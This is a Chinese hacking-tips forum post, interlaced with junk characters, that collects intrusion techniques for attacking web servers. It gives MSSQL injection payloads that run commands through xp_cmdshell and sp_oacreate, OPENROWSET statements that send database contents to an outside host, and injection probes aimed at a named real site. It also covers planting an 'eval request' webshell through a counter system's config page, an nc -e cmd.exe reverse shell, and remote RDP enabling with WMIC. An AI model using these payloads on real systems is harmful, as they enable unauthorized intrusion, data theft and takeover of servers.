SA点数据库分离技术相关
& x/ f* o! z7 t% D. ~% Y2 {1 |2 {/ I$ U# {% s- K8 L! V8 |/ D5 X$ B! [: U
" u3 t$ R8 ^1 s2 E) |& {2 a
SA点数据库分离搞法+语句:
( Y- q! Z, o0 X- C, C$ o6 P' h1 d
8 z d$ k5 _3 g7 s/ J0 \注射点不显错,执行下面三条语句页面都返回正常。6 [ u$ B! c* L8 K1 _
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'). V/ a" Q! A) b! S/ Y4 ^
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')# y3 D- Z5 d$ R: g) b& v
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')* Y; b0 X) }% M$ H8 x& ^
可以列目录，判断系统为2000，web与数据库分离+ y u, l6 b! g3 @4 [' l( K5 }
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。" a# B/ z; ]( s
在注射点上执行3 P% a6 m# i) _8 ?8 k/ f2 n
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
; R6 F2 ~/ Y; O- c ~( T页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP$ [- V, }! u3 ?* I8 T% ^# I
还有我用NC监听得其他端口都没有得到IP。) o! z0 t$ F; ?" W" W: H2 ~! G0 [
. \0 C9 e7 Z. g通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。3 [5 P# a( N5 M2 Q. U* p
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--5 T& q1 Z. n$ T& i# j
& G% R: n- Y* v* T, C
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--9 R% g M1 W" c" I6 E* F5 V
; O. Q! I. Y3 K \
现在就猜想是不是数据库是内网而且不能连外网。
( [. {( \! q- n
& x. o0 X; i" t! `% D& Z2 d" n7 W2 B; Q+ s6 ^3 y I
access导出txt文本代码" n, N" z T/ a: X* v- g
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
+ B3 G5 n" y s: z$ A: ?
; C" Y9 e, d8 ]" n ` J* U' ~& W$ A2 R( ]
/ Y) s5 n" [2 o* |7 \自动跳转到指定网站代码头
4 j3 P! `% g+ Q<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>3 x% e4 @4 T0 X Q: H, C9 a2 i
: q0 f: G+ r7 T" C; u: H
! _/ W9 g/ ^# ]9 c7 z
入侵java or jsp站点时默认配置文件路径:/ ~, D# Q& C# T( \ r/ b
\web-inf\web.xml
: C7 u/ D" |7 X8 D% m" m: V7 X. ctomcat下的配置文件位置:$ o; [3 b0 @* F% `
\conf\server.xml (前面加上tomcat路径); I/ A' v% ]2 ]# C
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
. U5 f j9 C7 X5 k& S( u- J" p( M P
8 W4 h' @& O' n$ n
& T; r2 t' ?. Y检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:9 h# X! R+ ?; n8 E& W4 D7 @& f
-1%23
2 d* s. t9 G% h> 2 M9 E! H X1 m8 {- i
<9 j6 Q3 b" ]. \0 [
1'+or+'1'='19 c5 p" [ H9 T7 p* U: D
id=8%bf% t; w$ |. r. {
; m. y* ~1 G# B: f" y9 F
全新注入点检测试法:8 }/ z. o7 H" Y8 {
在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
' |( A: S, e/ N4 t' k& a/ s) q; T* R; m% [: ~; X: {
在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。/ x6 R, ]6 H7 g# _* c$ ?/ y; u! B
$ w% U, g2 V" E5 @& w1 M搜索型注入判断方法:
5 o. }# Q! ^+ K5 M+ ^$ S北京%' and '1'='1' and '%'='
4 \& t; w- }0 L8 H7 @4 S, c M) e9 e北京%' and '1'='2' and '%'='$ B/ A' i) a: S
& T3 w- g* b1 S2 B" Q( I9 A' G) _& F) b* J% D k4 ?, l6 w
COOKIES注入:
4 O& j h X( }- Y- [" ?8 X/ W3 i# T: L
javascript:alert(document.cookie="id="+escape("51 and 1=1"));. O* N/ r, N' N q5 E
7 S; g& c- N8 D y' I+ {2000专业版查看本地登录用户命令:
8 |9 _; T( E. U# H7 [5 v cnet config workstation: r0 v' n8 I& L7 F% f, _
* |& ]" e1 m& U# _9 g( k
" f0 J7 T& e$ Z# a- T* O2003下查看ipsec配置和默认防火墙配置命令:; O2 {; k/ x9 B" L( c: ~% f) `
netsh firewall show config+ @; w8 B k& \+ f0 Q: `
netsh ipsec static show all k7 H* b% ?! ?$ N0 _
- I1 p) ~) S. V# B8 U
不指派指定策略命令:
" v1 s* k3 z+ q) T3 d+ R& [4 j$ _netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
2 `# T) x' E; h: Inetsh ipsec static show policy all 显示策略名
, K. C3 k1 r0 O# ^/ y3 Q! w; m
! v* Z1 E+ `9 T. B1 U; ]4 ?/ ]% v8 P2 |, ]
猜管理员后台小技巧:: Z S. n, s0 h
admin/left.asp / j3 ~% d7 V& q" t+ k0 a5 y
admin/main.asp
( O6 J" W( K' A- Uadmin/top.asp3 C3 z0 n/ y4 F
admin/admin.asp 9 Q0 g& I0 g" C
会现出菜单导航,然后迅雷下载全部链接7 P! Y' R6 b: D0 v
; R; {; C+ x0 x7 ~
! u5 o, v s5 t: C! v' _! N社会工程学:! `8 W& z1 G w
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
1 R3 J, G$ k' {7 x! X! h然后去骗客服
g! ~9 C. W2 _' D! L5 F9 q! l4 s, F# B# j. c9 F6 U
. v7 z1 x; Q& h* t! a1 i; C
统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
6 _ T3 F5 c" u3 G# G4 X2 b; r& ~查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">， 9 A% G( c5 Z- E3 f; P
存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。+ z3 d* e( U8 _. q
0 s5 N+ H8 J& D- H, l3 K, X6 r* D! L- o& {) I
+ ]2 q3 l" C% v- g! @
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）; c6 U8 [0 O. A3 D0 @8 [2 p3 [* m
2 ?( m0 O. L$ P d0 B
8 l! I4 [2 i. X2 C/ G3 d0 _* w
6 q9 x% e0 Y8 a& h$ Q, E1 U: } FCMD加密注册表位置
3 a7 _" p3 T/ B$ M- o. A(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor- I. Q8 R- P+ F& O; V
AutoRun* y8 r0 C2 |% @7 x0 \
" P2 U2 ~9 b: O/ R% R6 m
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor. Z/ t* g$ G6 o8 o
AutoRun" K: i) X% f# c
3 a" P. C. ]9 t0 Q9 ^; p0 t( E2 e; J3 _* b+ v3 e$ L
在找注入时搜索Hidden,把他改成test6 C, d3 x# |) P$ v: ]$ I1 m
`/ h7 M M: Z( b
( [+ q( b+ H* {# a4 x# n3 N. B9 g* ]% ~( H% X
mstsc /v:IP /console + _1 @* {8 l i1 A2 F
5 P" D. z& N. M _$ m9 {# t" X5 }
7 _8 A# ~6 i3 f一句话开3389:
% g: N7 J7 M0 M9 k
' Q4 }7 [1 ?5 `3 d2 d9 ^+ b, v最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH> 2 h$ G; g9 t5 I
开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.7 a4 m9 T( N* o0 E; H' J; G3 y! T
# P, k. }7 m( g3 U6 ?9 d, G5 c
3 H4 e# ^' ~3 U! Y) A
知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
, m9 N. f- |% k7 t4 u+ TInsert into admin(user,pwd) values('test','test')
4 f Y! j8 }2 y( z- L; m) ?2 m% |3 k/ _9 |0 I
1 [ L" B+ {% yNC反弹
- K- |1 r3 ~4 M- j1 @先在本机执行： nc -vv -lp 监听的端口 (自己执行)
$ Z3 s& V1 P: e2 y: I然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
: p1 h7 s: ` S! I* O; G7 j3 i5 r! l, P' A' k/ I% A
) D4 e2 z5 D4 C$ |$ m6 h( r0 ^在脚本入侵过程中要经常常试用%00来确认下参数是否有问题2 y; ?+ y' D) K* G! ]6 C4 r3 T
8 i) X0 H! w! y7 t, h0 ]( ^* ?
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录
Q9 X0 i2 q+ L: e例如:! O, V' K3 n" f5 g) u
subst k: d:\www\ 用d盘www目录替代k盘
* [4 t/ u9 A# r+ G9 ]% Dsubst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对